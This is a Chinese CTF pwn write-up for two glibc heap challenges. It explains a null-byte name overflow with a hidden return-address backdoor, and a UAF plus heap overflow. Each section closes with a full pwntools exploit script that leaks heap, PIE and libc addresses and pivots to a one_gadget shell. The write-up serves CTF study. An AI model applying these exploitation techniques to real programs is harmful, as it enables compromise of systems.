ez_heap
保护全开
程序逻辑:
- 读入0x30的字符串,进行字符串校验:以冒号为标志split,分成四份。最后输入字符串形如:
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'
-
创建0x180的chunk存放note 结构体每个note大小为0x30,note结构:
-
add,edit,delete,show操作
漏洞点:
-
editName中strlen可以用\x00绕过造成溢出
-
后门:remove操作中有一个一眼就很可疑的地方:lucky number,
如果这里的if判断不通过,直接return,看反编译的伪代码不容易看出来,看汇编代码+动态调试可以发现
if判断的参数初始值为1,如果执行过一次editName操作以后,这个参数会自减一次,此时remove函数结束时会执行 ret lucyNumber操作
-
这里的xor操作,其中的一个操作数是可控的,dest
难点
editName操作和show操作只能执行一次
利用xor操作构造任意地址读写条件泄露libc地址
漏洞利用
第一阶段:
泄露heap基址和程序基址(PIE)
由于存在xor后的数据chunk的地址,结合动态调试,heap地址的后三字节是固定的,加上一字节的\x00溢出,
第一个note content chunk的起始地址为000+0x290(tcache bin管理结构)+0x190(note 结构体 chunk)=0x420
如果控制xor的操作数后两位为20,且第二个note content chunk与第一个同处于0x400-0x4ff空间上,当使用editName方法溢出第二个结构体chunk的name,此时这两个结构体chunk的note content chunk就指向了同一个,此时就构造了一个UAF,可以泄露heap地址和程序地址(程序地址用BSS的chunkList的地址)
此时edit和show都用过一次不能再用了,很自然的就想到再执行一次main函数,将luckynumber设置为main addr
第二阶段:
上面只是思考过程,此时才发现:
在回顾一下heap的构造,结构体chunk有一部分也处0x400-0x4ff,再溢出一次name则xor结果末两位是00,此时xor第一个操作数末两位是什么(假如设置为0xmn),那么这个溢出的结构体的conten就会指向0x4mn,第一阶段的泄露操作也可以通过最后一个结构体chunk泄露
这时就可以show和修改最后一个struct chunk的data content chunk的地址(要写入xor后的结果),将其指向got表结合show操作就可以泄露libc、heap、程序地址
最后将LUCKYNUMBER设置为onegadget即可
利用脚本
def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False) xor = 0x111111111111111validate = b'admin:'+p64(xor)+b':Junior:111111'sla(b'Do you want to play a game with me?\n',validate)key_default = b'1'*8add(key_default,b'1',b'8',b'a'*0x10)add(key_default,b'1',b'8',b'b'*0x10)add(key_default,b'1',b'8',b'c'*0x10)add(key_default,b'1',b'8',b'd'*0x10)add(key_default,b'1',b'8',b'e'*0x10)add(key_default,b'1',b'8',b'f'*0x10)add(key_default,b'1',b'8',b'g'*0x10)remove(key_default,0,str(1))add(key_default,b'1',b'8',b'h'*0x10)edit_name(key_default,7,b'\x00'+b'a'*(0xf))show(key_default,7)ru(b'content: ')heap_base = ((uu64(r(7))<<8)^xor)>>12<<12leak('heap_base',heap_base)proc_base = uu64(ru('\n')) - 0x4080 - 0x7*8leak('proc_base',proc_base)main_sym = 0x1CC7ret_addr_in_remove = proc_base+main_symremove(key_default,1,str(ret_addr_in_remove))sla(b'Do you want to play a game with me?\n',validate)add(key_default,b'1',b'48',b'a'*0x10)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]one_gadget = one_gadget_list[3]edit_name(key_default,0,b'\x00'+b'a'*(0xf)+p64((proc_base+elf.got['free'])^xor))show(key_default,0)ru(b'content: ')free_addr = uu64(ru('\n'))libc.address = free_addr - libc.sym['free']remove(key_default,1,str(libc.address+one_gadget))return
近队容器的礼仪
叽里咕噜的说什么呢,看不懂
搭建环境
附件给出了pwn文件和libc文件夹,将libc.so.6和ld文件从libc文件夹中剪切出来,注意是剪切,确保libc文件夹中不再存在这两个文件,
直接运行使用:
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
LD_LIBRARY_PATH=./libc pwn
python中pwnlib调用:
# 也需要先像上面的shell命令一样先patchelf
binary = './pwn'
p = process(binary,env={'LD_PRELOAD':'','LD_LIBRARY_PATH':'./libc/'})
# 二选一即可
gdbscript = ''
p = gdb.debug(binary, gdbscript,env={'LD_LIBRARY_PATH':'./libc/'})
程序逻辑
b'1. Exit\n'
b'2. Add deque to vector\n'
b'3. Create Animal in deque\n'
b'4. Remove deque from vector\n'
b'5. Remove Animal from deque\n'
b'6. Edit Animal in deque\n'
b'7. Print Animal in deque\n'
b'12. Create Animal in vector\n'
b'13. Remove Animal from vector\n'
b'14. Edit Animal in vector\n'
b'15. Print Animal in vector\n'
b'Enter your choice: '
IDA的结果看起来太复杂了,先直接进行几次操作看看
先尝试下有没有UAF
结果一试还真有
漏洞点
- 刚刚提到的UAF,可以通过unsorted bin fd泄露libc和tcache bin fd泄露heap基址
- 堆溢出
很明显看到有个堆溢出
漏洞利用
先利用deque上的操作泄露地址
后用vector上的操作任意地址写(当时熬夜写的题,我也没去分析它到底能不能用deque的方法来,就是觉得给了这么多方法都用试试)
vecor申请的chunk结构是:一个0x20大小的结构体和对应size大小的animal,结构体中写着animal chunk的地址,因为能栈溢出,所以直接可以任意地址写
这里采取的操作时打enviorn打栈,从main的ret指令开始打;
算出environ到执行到main ret时栈地址的偏移量,然后构造栈满足ongadget的条件即可,也可以构造rop链
利用脚本
最后执行exit操作就可以执行到main的ret
注意执行execve的时候保证结尾是0x0而不是8吧,对齐一下
def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)add_deque()create_animal_deque(0,0x80)show_animal_deque(0,0)ru('): ')libc.address = uu64(ru(b'\n'))-0x203b20leak('libc_base',libc.address)# 防止deque为空而不能show UAFcreate_animal_deque(0,0x80)malloc_hook = libc.sym['__malloc_hook']leak('__malloc_hook',malloc_hook)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]''' 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp'''one_gadget =libc.address + one_gadget_list[3]system_addr = libc.sym['system']# pause()environ = libc.symbols['environ']create_animal_vector(0x90) create_animal_vector(0x90)edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ))show_animal_vector(1)ru(b'): ')environ_addr = uu64(ru(b'\n'))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x30))show_animal_vector(1)ru(b'): ')start_addr = uu64(ru(b'\n')) - 37proc_base = start_addr - elf.sym['_start']ret_of_main = environ_addr - 0x130ret_addr = proc_base+0x101aedit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main))edit_animal_vector(1,0x8,p64(ret_addr))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main+8))edit_animal_vector(1,0x8,p64(one_gadget))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x110))edit_animal_vector(1,0x8,p64(0))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0xe8))edit_animal_vector(1,0x8,p64(0))# exit 推出时会执行ret of mainsla(b'Enter your choice:',b'1')return